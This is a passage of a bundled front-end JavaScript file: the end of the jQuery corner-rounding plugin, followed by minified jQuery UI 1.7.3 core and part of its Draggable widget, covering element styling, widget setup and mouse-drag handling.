};
function gpc(node) {
    while(node) {
        var v = $.css(node,'backgroundColor'), rgb;
        if (v && v != 'transparent' && v != 'rgba(0, 0, 0, 0)') {
            if (v.indexOf('rgb') >= 0) { 
                rgb = v.match(/\d+/g); 
                return '#'+ hex2(rgb[0]) + hex2(rgb[1]) + hex2(rgb[2]);
            }
            return v;
        }
        if (node.nodeName.toLowerCase() == 'html')
            break;
        node = node.parentNode; // keep walking if transparent
    }
    return '#ffffff';
};

function getWidth(fx, i, width) {
    switch(fx) {
    case 'round':  return Math.round(width*(1-Math.cos(Math.asin(i/width))));
    case 'cool':   return Math.round(width*(1+Math.cos(Math.asin(i/width))));
    case 'sharp':  return Math.round(width*(1-Math.cos(Math.acos(i/width))));
    case 'bite':   return Math.round(width*(Math.cos(Math.asin((width-i-1)/width))));
    case 'slide':  return Math.round(width*(Math.atan2(i,width/i)));
    case 'jut':    return Math.round(width*(Math.atan2(width,(width-i-1))));
    case 'curl':   return Math.round(width*(Math.atan(i)));
    case 'tear':   return Math.round(width*(Math.cos(i)));
    case 'wicked': return Math.round(width*(Math.tan(i)));
    case 'long':   return Math.round(width*(Math.sqrt(i)));
    case 'sculpt': return Math.round(width*(Math.log((width-i-1),width)));
    case 'dogfold':
    case 'dog':    return (i&1) ? (i+1) : width;
    case 'dog2':   return (i&2) ? (i+1) : width;
    case 'dog3':   return (i&3) ? (i+1) : width;
    case 'fray':   return (i%2)*width;
    case 'notch':  return width; 
    case 'bevelfold':
    case 'bevel':  return i+1;
    }
};

$.fn.corner = function(options) {
    // in 1.3+ we can fix mistakes with the ready state
    if (this.length == 0) {
        if (!$.isReady && this.selector) {
            var s = this.selector, c = this.context;
            $(function() {
                $(s,c).corner(options);
            });
        }
        return this;
    }

    return this.each(function(index){
        var $this = $(this),
            // meta values override options
            o = [$this.attr($.fn.corner.defaults.metaAttr) || '', options || ''].join(' ').toLowerCase(),
            keep = /keep/.test(o),                       // keep borders?
            cc = ((o.match(/cc:(#[0-9a-f]+)/)||[])[1]),  // corner color
            sc = ((o.match(/sc:(#[0-9a-f]+)/)||[])[1]),  // strip color
            width = parseInt((o.match(/(\d+)px/)||[])[1]) || 10, // corner width
            re = /round|bevelfold|bevel|notch|bite|cool|sharp|slide|jut|curl|tear|fray|wicked|sculpt|long|dog3|dog2|dogfold|dog/,
            fx = ((o.match(re)||['round'])[0]),
            fold = /dogfold|bevelfold/.test(o),
            edges = { T:0, B:1 },
            opts = {
                TL:  /top|tl|left/.test(o),       TR:  /top|tr|right/.test(o),
                BL:  /bottom|bl|left/.test(o),    BR:  /bottom|br|right/.test(o)
            },
            // vars used in func later
            strip, pad, cssHeight, j, bot, d, ds, bw, i, w, e, c, common, $horz;
        
        if ( !opts.TL && !opts.TR && !opts.BL && !opts.BR )
            opts = { TL:1, TR:1, BL:1, BR:1 };
            
        // support native rounding
        if ($.fn.corner.defaults.useNative && fx == 'round' && (radius || moz || webkit) && !cc && !sc) {
            if (opts.TL)
                $this.css(radius ? 'border-top-left-radius' : moz ? '-moz-border-radius-topleft' : '-webkit-border-top-left-radius', width + 'px');
            if (opts.TR)
                $this.css(radius ? 'border-top-right-radius' : moz ? '-moz-border-radius-topright' : '-webkit-border-top-right-radius', width + 'px');
            if (opts.BL)
                $this.css(radius ? 'border-bottom-left-radius' : moz ? '-moz-border-radius-bottomleft' : '-webkit-border-bottom-left-radius', width + 'px');
            if (opts.BR)
                $this.css(radius ? 'border-bottom-right-radius' : moz ? '-moz-border-radius-bottomright' : '-webkit-border-bottom-right-radius', width + 'px');
            return;
        }
            
        strip = document.createElement('div');
        $(strip).css({
            overflow: 'hidden',
            height: '1px',
            minHeight: '1px',
            fontSize: '1px',
            backgroundColor: sc || 'transparent',
            borderStyle: 'solid'
        });
    
        pad = {
            T: parseInt($.css(this,'paddingTop'))||0,     R: parseInt($.css(this,'paddingRight'))||0,
            B: parseInt($.css(this,'paddingBottom'))||0,  L: parseInt($.css(this,'paddingLeft'))||0
        };

        if (typeof this.style.zoom != undefined) this.style.zoom = 1; // force 'hasLayout' in IE
        if (!keep) this.style.border = 'none';
        strip.style.borderColor = cc || gpc(this.parentNode);
        cssHeight = $(this).outerHeight();

        for (j in edges) {
            bot = edges[j];
            // only add stips if needed
            if ((bot && (opts.BL || opts.BR)) || (!bot && (opts.TL || opts.TR))) {
                strip.style.borderStyle = 'none '+(opts[j+'R']?'solid':'none')+' none '+(opts[j+'L']?'solid':'none');
                d = document.createElement('div');
                $(d).addClass('jquery-corner');
                ds = d.style;

                bot ? this.appendChild(d) : this.insertBefore(d, this.firstChild);

                if (bot && cssHeight != 'auto') {
                    if ($.css(this,'position') == 'static')
                        this.style.position = 'relative';
                    ds.position = 'absolute';
                    ds.bottom = ds.left = ds.padding = ds.margin = '0';
                    if (expr)
                        ds.setExpression('width', 'this.parentNode.offsetWidth');
                    else
                        ds.width = '100%';
                }
                else if (!bot && $.browser.msie) {
                    if ($.css(this,'position') == 'static')
                        this.style.position = 'relative';
                    ds.position = 'absolute';
                    ds.top = ds.left = ds.right = ds.padding = ds.margin = '0';
                    
                    // fix ie6 problem when blocked element has a border width
                    if (expr) {
                        bw = sz(this,'borderLeftWidth') + sz(this,'borderRightWidth');
                        ds.setExpression('width', 'this.parentNode.offsetWidth - '+bw+'+ "px"');
                    }
                    else
                        ds.width = '100%';
                }
                else {
                    ds.position = 'relative';
                    ds.margin = !bot ? '-'+pad.T+'px -'+pad.R+'px '+(pad.T-width)+'px -'+pad.L+'px' : 
                                        (pad.B-width)+'px -'+pad.R+'px -'+pad.B+'px -'+pad.L+'px';                
                }

                for (i=0; i < width; i++) {
                    w = Math.max(0,getWidth(fx,i, width));
                    e = strip.cloneNode(false);
                    e.style.borderWidth = '0 '+(opts[j+'R']?w:0)+'px 0 '+(opts[j+'L']?w:0)+'px';
                    bot ? d.appendChild(e) : d.insertBefore(e, d.firstChild);
                }
                
                if (fold && $.support.boxModel) {
                    if (bot && noBottomFold) continue;
                    for (c in opts) {
                        if (!opts[c]) continue;
                        if (bot && (c == 'TL' || c == 'TR')) continue;
                        if (!bot && (c == 'BL' || c == 'BR')) continue;
                        
                        common = { position: 'absolute', border: 'none', margin: 0, padding: 0, overflow: 'hidden', backgroundColor: strip.style.borderColor };
                        $horz = $('<div/>').css(common).css({ width: width + 'px', height: '1px' });
                        switch(c) {
                        case 'TL': $horz.css({ bottom: 0, left: 0 }); break;
                        case 'TR': $horz.css({ bottom: 0, right: 0 }); break;
                        case 'BL': $horz.css({ top: 0, left: 0 }); break;
                        case 'BR': $horz.css({ top: 0, right: 0 }); break;
                        }
                        d.appendChild($horz[0]);
                        
                        var $vert = $('<div/>').css(common).css({ top: 0, bottom: 0, width: '1px', height: width + 'px' });
                        switch(c) {
                        case 'TL': $vert.css({ left: width }); break;
                        case 'TR': $vert.css({ right: width }); break;
                        case 'BL': $vert.css({ left: width }); break;
                        case 'BR': $vert.css({ right: width }); break;
                        }
                        d.appendChild($vert[0]);
                    }
                }
            }
        }
    });
};

$.fn.uncorner = function() { 
    if (radius || moz || webkit)
        this.css(radius ? 'border-radius' : moz ? '-moz-border-radius' : '-webkit-border-radius', 0);
    $('div.jquery-corner', this).remove();
    return this;
};

// expose options
$.fn.corner.defaults = {
    useNative: true, // true if plugin should attempt to use native browser support for border radius rounding
    metaAttr:  'data-corner' // name of meta attribute to use for options
};
    
})(jQuery);
;
/*
 * jQuery UI 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI
 */jQuery.ui||(function(c){var i=c.fn.remove,d=c.browser.mozilla&&(parseFloat(c.browser.version)<1.9);c.ui={version:"1.7.3",plugin:{add:function(k,l,n){var m=c.ui[k].prototype;for(var j in n){m.plugins[j]=m.plugins[j]||[];m.plugins[j].push([l,n[j]])}},call:function(j,l,k){var n=j.plugins[l];if(!n||!j.element[0].parentNode){return}for(var m=0;m<n.length;m++){if(j.options[n[m][0]]){n[m][1].apply(j.element,k)}}}},contains:function(k,j){return document.compareDocumentPosition?k.compareDocumentPosition(j)&16:k!==j&&k.contains(j)},hasScroll:function(m,k){if(c(m).css("overflow")=="hidden"){return false}var j=(k&&k=="left")?"scrollLeft":"scrollTop",l=false;if(m[j]>0){return true}m[j]=1;l=(m[j]>0);m[j]=0;return l},isOverAxis:function(k,j,l){return(k>j)&&(k<(j+l))},isOver:function(o,k,n,m,j,l){return c.ui.isOverAxis(o,n,j)&&c.ui.isOverAxis(k,m,l)},keyCode:{BACKSPACE:8,CAPS_LOCK:20,COMMA:188,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38}};if(d){var f=c.attr,e=c.fn.removeAttr,h="http://www.w3.org/2005/07/aaa",a=/^aria-/,b=/^wairole:/;c.attr=function(k,j,l){var m=l!==undefined;return(j=="role"?(m?f.call(this,k,j,"wairole:"+l):(f.apply(this,arguments)||"").replace(b,"")):(a.test(j)?(m?k.setAttributeNS(h,j.replace(a,"aaa:"),l):f.call(this,k,j.replace(a,"aaa:"))):f.apply(this,arguments)))};c.fn.removeAttr=function(j){return(a.test(j)?this.each(function(){this.removeAttributeNS(h,j.replace(a,""))}):e.call(this,j))}}c.fn.extend({remove:function(j,k){return this.each(function(){if(!k){if(!j||c.filter(j,[this]).length){c("*",this).add(this).each(function(){c(this).triggerHandler("remove")})}}return i.call(c(this),j,k)})},enableSelection:function(){return this.attr("unselectable","off").css("MozUserSelect","").unbind("selectstart.ui")},disableSelection:function(){return this.attr("unselectable","on").css("MozUserSelect","none").bind("selectstart.ui",function(){return false})},scrollParent:function(){var j;if((c.browser.msie&&(/(static|relative)/).test(this.css("position")))||(/absolute/).test(this.css("position"))){j=this.parents().filter(function(){return(/(relative|absolute|fixed)/).test(c.curCSS(this,"position",1))&&(/(auto|scroll)/).test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0)}else{j=this.parents().filter(function(){return(/(auto|scroll)/).test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0)}return(/fixed/).test(this.css("position"))||!j.length?c(document):j}});c.extend(c.expr[":"],{data:function(l,k,j){return !!c.data(l,j[3])},focusable:function(k){var l=k.nodeName.toLowerCase(),j=c.attr(k,"tabindex");return(/input|select|textarea|button|object/.test(l)?!k.disabled:"a"==l||"area"==l?k.href||!isNaN(j):!isNaN(j))&&!c(k)["area"==l?"parents":"closest"](":hidden").length},tabbable:function(k){var j=c.attr(k,"tabindex");return(isNaN(j)||j>=0)&&c(k).is(":focusable")}});function g(m,n,o,l){function k(q){var p=c[m][n][q]||[];return(typeof p=="string"?p.split(/,?\s+/):p)}var j=k("getter");if(l.length==1&&typeof l[0]=="string"){j=j.concat(k("getterSetter"))}return(c.inArray(o,j)!=-1)}c.widget=function(k,j){var l=k.split(".")[0];k=k.split(".")[1];c.fn[k]=function(p){var n=(typeof p=="string"),o=Array.prototype.slice.call(arguments,1);if(n&&p.substring(0,1)=="_"){return this}if(n&&g(l,k,p,o)){var m=c.data(this[0],k);return(m?m[p].apply(m,o):undefined)}return this.each(function(){var q=c.data(this,k);(!q&&!n&&c.data(this,k,new c[l][k](this,p))._init());(q&&n&&c.isFunction(q[p])&&q[p].apply(q,o))})};c[l]=c[l]||{};c[l][k]=function(o,n){var m=this;this.namespace=l;this.widgetName=k;this.widgetEventPrefix=c[l][k].eventPrefix||k;this.widgetBaseClass=l+"-"+k;this.options=c.extend({},c.widget.defaults,c[l][k].defaults,c.metadata&&c.metadata.get(o)[k],n);this.element=c(o).bind("setData."+k,function(q,p,r){if(q.target==o){return m._setData(p,r)}}).bind("getData."+k,function(q,p){if(q.target==o){return m._getData(p)}}).bind("remove",function(){return m.destroy()})};c[l][k].prototype=c.extend({},c.widget.prototype,j);c[l][k].getterSetter="option"};c.widget.prototype={_init:function(){},destroy:function(){this.element.removeData(this.widgetName).removeClass(this.widgetBaseClass+"-disabled "+this.namespace+"-state-disabled").removeAttr("aria-disabled")},option:function(l,m){var k=l,j=this;if(typeof l=="string"){if(m===undefined){return this._getData(l)}k={};k[l]=m}c.each(k,function(n,o){j._setData(n,o)})},_getData:function(j){return this.options[j]},_setData:function(j,k){this.options[j]=k;if(j=="disabled"){this.element[k?"addClass":"removeClass"](this.widgetBaseClass+"-disabled "+this.namespace+"-state-disabled").attr("aria-disabled",k)}},enable:function(){this._setData("disabled",false)},disable:function(){this._setData("disabled",true)},_trigger:function(l,m,n){var p=this.options[l],j=(l==this.widgetEventPrefix?l:this.widgetEventPrefix+l);m=c.Event(m);m.type=j;if(m.originalEvent){for(var k=c.event.props.length,o;k;){o=c.event.props[--k];m[o]=m.originalEvent[o]}}this.element.trigger(m,n);return !(c.isFunction(p)&&p.call(this.element[0],m,n)===false||m.isDefaultPrevented())}};c.widget.defaults={disabled:false};c.ui.mouse={_mouseInit:function(){var j=this;this.element.bind("mousedown."+this.widgetName,function(k){return j._mouseDown(k)}).bind("click."+this.widgetName,function(k){if(j._preventClickEvent){j._preventClickEvent=false;k.stopImmediatePropagation();return false}});if(c.browser.msie){this._mouseUnselectable=this.element.attr("unselectable");this.element.attr("unselectable","on")}this.started=false},_mouseDestroy:function(){this.element.unbind("."+this.widgetName);(c.browser.msie&&this.element.attr("unselectable",this._mouseUnselectable))},_mouseDown:function(l){l.originalEvent=l.originalEvent||{};if(l.originalEvent.mouseHandled){return}(this._mouseStarted&&this._mouseUp(l));this._mouseDownEvent=l;var k=this,m=(l.which==1),j=(typeof this.options.cancel=="string"?c(l.target).parents().add(l.target).filter(this.options.cancel).length:false);if(!m||j||!this._mouseCapture(l)){return true}this.mouseDelayMet=!this.options.delay;if(!this.mouseDelayMet){this._mouseDelayTimer=setTimeout(function(){k.mouseDelayMet=true},this.options.delay)}if(this._mouseDistanceMet(l)&&this._mouseDelayMet(l)){this._mouseStarted=(this._mouseStart(l)!==false);if(!this._mouseStarted){l.preventDefault();return true}}this._mouseMoveDelegate=function(n){return k._mouseMove(n)};this._mouseUpDelegate=function(n){return k._mouseUp(n)};c(document).bind("mousemove."+this.widgetName,this._mouseMoveDelegate).bind("mouseup."+this.widgetName,this._mouseUpDelegate);(c.browser.safari||l.preventDefault());l.originalEvent.mouseHandled=true;return true},_mouseMove:function(j){if(c.browser.msie&&!j.button){return this._mouseUp(j)}if(this._mouseStarted){this._mouseDrag(j);return j.preventDefault()}if(this._mouseDistanceMet(j)&&this._mouseDelayMet(j)){this._mouseStarted=(this._mouseStart(this._mouseDownEvent,j)!==false);(this._mouseStarted?this._mouseDrag(j):this._mouseUp(j))}return !this._mouseStarted},_mouseUp:function(j){c(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate);if(this._mouseStarted){this._mouseStarted=false;this._preventClickEvent=(j.target==this._mouseDownEvent.target);this._mouseStop(j)}return false},_mouseDistanceMet:function(j){return(Math.max(Math.abs(this._mouseDownEvent.pageX-j.pageX),Math.abs(this._mouseDownEvent.pageY-j.pageY))>=this.options.distance)},_mouseDelayMet:function(j){return this.mouseDelayMet},_mouseStart:function(j){},_mouseDrag:function(j){},_mouseStop:function(j){},_mouseCapture:function(j){return true}};c.ui.mouse.defaults={cancel:null,distance:1,delay:0}})(jQuery);;/*
 * jQuery UI Draggable 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Draggables
 *
 * Depends:
 *	ui.core.js
 */(function(a){a.widget("ui.draggable",a.extend({},a.ui.mouse,{_init:function(){if(this.options.helper=="original"&&!(/^(?:r|a|f)/).test(this.element.css("position"))){this.element[0].style.position="relative"}(this.options.addClasses&&this.element.addClass("ui-draggable"));(this.options.disabled&&this.element.addClass("ui-draggable-disabled"));this._mouseInit()},destroy:function(){if(!this.element.data("draggable")){return}this.element.removeData("draggable").unbind(".draggable").removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled");this._mouseDestroy()},_mouseCapture:function(b){var c=this.options;if(this.helper||c.disabled||a(b.target).is(".ui-resizable-handle")){return false}this.handle=this._getHandle(b);if(!this.handle){return false}return true},_mouseStart:function(b){var c=this.options;this.helper=this._createHelper(b);this._cacheHelperProportions();if(a.ui.ddmanager){a.ui.ddmanager.current=this}this._cacheMargins();this.cssPosition=this.helper.css("position");this.scrollParent=this.helper.scrollParent();this.offset=this.element.offset();this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left};a.extend(this.offset,{click:{left:b.pageX-this.offset.left,top:b.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()});this.originalPosition=this._generatePosition(b);this.originalPageX=b.pageX;this.originalPageY=b.pageY;if(c.cursorAt){this._adjustOffsetFromHelper(c.cursorAt)}if(c.containment){this._setContainment()}this._trigger("start",b);this._cacheHelperProportions();if(a.ui.ddmanager&&!c.dropBehaviour){a.ui.ddmanager.prepareOffsets(this,b)}this.helper.addClass("ui-draggable-dragging");this._mouseDrag(b,true);return true},_mouseDrag:function(b,d){this.position=this._generatePosition(b);this.positionAbs=this._convertPositionTo("absolute");if(!d){var c=this._uiHash();this._trigger("drag",b,c);this.position=c.position}if(!this.options.axis||this.options.axis!="y"){this.helper[0].style.left=this.position.left+"px"}if(!this.options.axis||this.options.axis!="x"){this.helper[0].style.top=this.position.top+"px"}if(a.ui.ddmanager){a.ui.ddmanager.drag(this,b)}return false},_mouseStop:function(c){var d=false;if(a.ui.ddmanager&&!this.options.dropBehaviour){d=a.ui.ddmanager.drop(this,c)}if(this.dropped){d=this.dropped;this.dropped=false}if((this.options.revert=="invalid"&&!d)||(this.options.revert=="valid"&&d)||this.options.revert===true||(a.isFunction(this.options.revert)&&this.options.revert.call(this.element,d))){var b=this;a(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){b._trigger("stop",c);b._clear()})}else{this._trigger("stop",c);this._clear()}return false},_getHandle:function(b){var c=!this.options.handle||!a(this.options.handle,this.element).length?true:false;a(this.options.handle,this.element).find("*").andSelf().each(function(){if(this==b.target){c=true}});return c},_createHelper:function(c){var d=this.options;var b=a.isFunction(d.helper)?a(d.helper.apply(this.element[0],[c])):(d.helper=="clone"?this.element.clone():this.element);if(!b.parents("body").length){b.appendTo((d.appendTo=="parent"?this.element[0].parentNode:d.appendTo))}if(b[0]!=this.element[0]&&!(/(fixed|absolute)/).test(b.css("position"))){b.css("position","absolute")}return b},_adjustOffsetFromHelper:function(b){if(b.left!=undefined){this.offset.click.left=b.left+this.margins.left}if(b.right!=undefined){this.offset.click.left=this.helperProportions.width-b.right+this.margins.left}if(b.top!=undefined){this.offset.click.top=b.top+this.margins.top}if(b.bottom!=undefined){this.offset.click.top=this.helperProportions.height-b.bottom+this.margins.top}},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var b=this.offsetParent.offset();if(this.cssPosition=="absolute"&&this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0])){b.left+=this.scrollParent.scrollLeft();b.top+=this.scrollParent.scrollTop()}if((this.offsetParent[0]==document.body)||(this.offsetParent[0].tagName&&this.offsetParent[0].tagName.toLowerCase()=="html"&&a.browser.msie)){b={top:0,left:0}}return{top:b.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:b.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if(this.cssPosition=="relative"){var b=this.element.position();return{top:b.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:b.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}else{return{top:0,left:0}}},_cacheMargins:function(){this.margins={left:(parseInt(this.element.css("marginLeft"),10)||0),top:(parseInt(this.element.css("marginTop"),10)||0)}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var e=this.options;if(e.containment=="parent"){e.containment=this.helper[0].parentNode}if(e.containment=="document"||e.containment=="window"){this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,a(e.containment=="document"?document:window).width()-this.helperProportions.width-this.margins.left,(a(e.containment=="document"?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]}if(!(/^(document|window|parent)$/).test(e.containment)&&e.containment.constructor!=Array){var c=a(e.containment)[0];if(!c){return}var d=a(e.containment).offset();var b=(a(c).css("overflow")!="hidden");this.containment=[d.left+(parseInt(a(c).css("borderLeftWidth"),10)||0)+(parseInt(a(c).css("paddingLeft"),10)||0)-this.margins.left,d.top+(parseInt(a(c).css("borderTopWidth"),10)||0)+(parseInt(a(c).css("paddingTop"),10)||0)-this.margins.top,d.left+(b?Math.max(c.scrollWidth,c.offsetWidth):c.offsetWidth)-(parseInt(a(c).css("borderLeftWidth"),10)||0)-(parseInt(a(c).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,d.top+(b?Math.max(c.scrollHeight,c.offsetHeight):c.offsetHeight)-(parseInt(a(c).css("borderTopWidth"),10)||0)-(parseInt(a(c).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top]}else{if(e.containment.constructor==Array){this.containment=e.containment}}},_convertPositionTo:function(f,h){if(!h){h=this.position}var c=f=="absolute"?1:-1;var e=this.options,b=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,g=(/(html|body)/i).test(b[0].tagName);return{top:(h.top+this.offset.relative.top*c+this.offset.parent.top*c-(a.browser.safari&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop():(g?0:b.scrollTop()))*c)),left:(h.left+this.offset.relative.left*c+this.offset.parent.left*c-(a.browser.safari&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft():g?0:b.scrollLeft())*c))}},_generatePosition:function(e){var h=this.options,b=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,i=(/(html|body)/i).test(b[0].tagName);if(this.cssPosition=="relative"&&!(this.scrollParent[0]!=document&&this.scrollParent[0]!=this.offsetParent[0])){this.offset.relative=this._getRelativeOffset()}var d=e.pageX;var c=e.pageY;if(this.originalPosition){if(this.containment){if(e.pageX-this.offset.click.left<this.containment[0]){d=this.containment[0]+this.offset.click.left}if(e.pageY-this.offset.click.top<this.containment[1]){c=this.containment[1]+this.offset.click.top}if(e.pageX-this.offset.click.left>this.containment[2]){d=this.containment[2]+this.offset.click.left}if(e.pageY-this.offset.click.top>this.containment[3]){c=this.containment[3]+this.offset.click.top}}if(h.grid){var g=this.originalPageY+Math.round((c-this.originalPageY)/h.grid[1])*h.grid[1];c=this.containment?(!(g-this.offset.click.top<this.containment[1]||g-this.offset.click.top>this.containment[3])?g:(!(g-this.offset.click.top<this.containment[1])?g-h.grid[1]:g+h.grid[1])):g;var f=this.originalPageX+Math.round((d-this.originalPageX)/h.grid[0])*h.grid[0];d=this.containment?(!(f-this.offset.click.left<this.containment[0]||f-this.offset.click.left>this.containment[2])?f:(!(f-this.offset.click.left<this.containment[0])?f-h.grid[0]:f+h.grid[0])):f}}return{top:(c-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+(a.browser.safari&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop():(i?0:b.scrollTop())))),left:(d-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+(a.browser.safari&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft():i?0:b.scrollLeft())))}},_clear:function(){this.helper.removeClass("ui-draggable-dragging");if(this.helper[0]!=this.element[0]&&!this.cancelHelperRemoval){this.helper.remove()}this.helper=null;this.cancelHelperRemoval=false},_trigger:function(b,c,d){d=d||this._uiHash();a.ui.plugin.call(this,b,[c,d]);if(b=="drag"){this.positionAbs=this._convertPositionTo("absolute")}return a.widget.prototype._trigger.call(this,b,c,d)},plugins:{},_uiHash:function(b){return{helper:this.helper,position:this.position,absolutePosition:this.positionAbs,offset:this.positionAbs}}}));a.extend(a.ui.draggable,{version:"1.7.3",eventPrefix:"drag",defaults:{addClasses:true,appendTo:"parent",axis:false,cancel:":input,option",connectToSortable:false,containment:false,cursor:"auto",cursorAt:false,delay:0,distance:1,grid:false,handle:false,helper:"original",iframeFix:false,opacity:false,refreshPositions:false,revert:false,revertDuration:500,scope:"default",scroll:true,scrollSensitivity:20,scrollSpeed:20,snap:false,snapMode:"both",snapTolerance:20,stack:false,zIndex:false}});a.ui.plugin.add("draggable","connectToSortable",{start:function(c,e){var d=a(this).data("draggable"),f=d.options,b=a.extend({},e,{item:d.element});d.sortables=[];a(f.connectToSortable).each(function(){var g=a.data(this,"sortable");if(g&&!g.options.disabled){d.sortables.push({instance:g,shouldRevert:g.options.revert});g._refreshItems();g._trigger("activate",c,b)}})},stop:function(c,e){var d=a(this).data("draggable"),b=a.extend({},e,{item:d.element});a.each(d.sortables,function(){if(this.instance.isOver){this.instance.isOver=0;d.cancelHelperRemoval=true;this.instance.cancelHelperRemoval=false;if(this.shouldRevert){this.instance.options.revert=true}this.instance._mouseStop(c);this.instance.options.helper=this.instance.options._helper;if(d.options.helper=="original"){this.instance.currentItem.css({top:"auto",left:"auto"})}}else{this.instance.cancelHelperRemoval=false;this.instance._trigger("deactivate",c,b)}})},drag:function(c,f){var e=a(this).data("draggable"),b=this;var d=function(i){var n=this.offset.click.top,m=this.offset.click.left;var g=this.positionAbs.top,k=this.positionAbs.left;var j=i.height,l=i.width;var p=i.top,h=i.left;return a.ui.isOver(g+n,k+m,p,h,j,l)};a.each(e.sortables,function(g){this.instance.positionAbs=e.positionAbs;this.instance.helperProportions=e.helperProportions;this.instance.offset.click=e.offset.click;if(this.instance._intersectsWith(this.instance.containerCache)){if(!this.instance.isOver){this.instance.isOver=1;this.instance.currentItem=a(b).clone().appendTo(this.instance.element).data("sortable-item",true);this.instance.options._helper=this.instance.options.helper;this.instance.options.helper=function(){return f.helper[0]};c.target=this.instance.currentItem[0];this.instance._mouseCapture(c,true);this.instance._mouseStart(c,true,true);this.instance.offset.click.top=e.offset.click.top;this.instance.offset.click.left=e.offset.click.left;this.instance.offset.parent.left-=e.offset.parent.left-this.instance.offset.parent.left;this.instance.offset.parent.top-=e.offset.parent.top-this.instance.offset.parent.top;e._trigger("toSortable",c);e.dropped=this.instance.element;e.currentItem=e.element;this.instance.fromOutside=e}if(this.instance.currentItem){this.instance._mouseDrag(c)}}else{if(this.instance.isOver){this.instance.isOver=0;this.instance.cancelHelperRemoval=true;this.instance.options.revert=false;this.instance._trigger("out",c,this.instance._uiHash(this.instance));this.instance._mouseStop(c,true);this.instance.options.helper=this.instance.options._helper;this.instance.currentItem.remove();if(this.instance.placeholder){this.instance.placeholder.remove()}e._trigger("fromSortable",c);e.dropped=false}}})}});a.ui.plugin.add("draggable","cursor",{start:function(c,d){var b=a("body"),e=a(this).data("draggable").options;if(b.css("cursor")){e._cursor=b.css("cursor")}b.css("cursor",e.cursor)},stop:function(b,c){var d=a(this).data("draggable").options;if(d._cursor){a("body").css("cursor",d._cursor)}}});a.ui.plugin.add("draggable","iframeFix",{start:function(b,c){var d=a(this).data("draggable").options;a(d.iframeFix===true?"iframe":d.iframeFix).each(function(){a('<div class="ui-draggable-iframeFix" style="background: #fff;"></div>').css({width:this.offsetWidth+"px",height:this.offsetHeight+"px",position:"absolute",opacity:"0.001",zIndex:1000}).css(a(this).offset()).appendTo("body")})},stop:function(b,c){a("div.ui-draggable-iframeFix").each(function(){this.parentNode.removeChild(this)})}});a.ui.plugin.add("draggable","opacity",{start:function(c,d){var b=a(d.helper),e=a(this).data("draggable").options;if(b.css("opacity")){e._opacity=b.css("opacity")}b.css("opacity",e.opacity)},stop:function(b,c){var d=a(this).data("draggable").options;if(d._opacity){a(c.helper).css("opacity",d._opacity)}}});a.ui.plugin.add("draggable","scroll",{start:function(c,d){var b=a(this).data("draggable");if(b.scrollParent[0]!=document&&b.scrollParent[0].tagName!="HTML"){b.overflowOffset=b.scrollParent.offset()}},drag:function(d,e){var 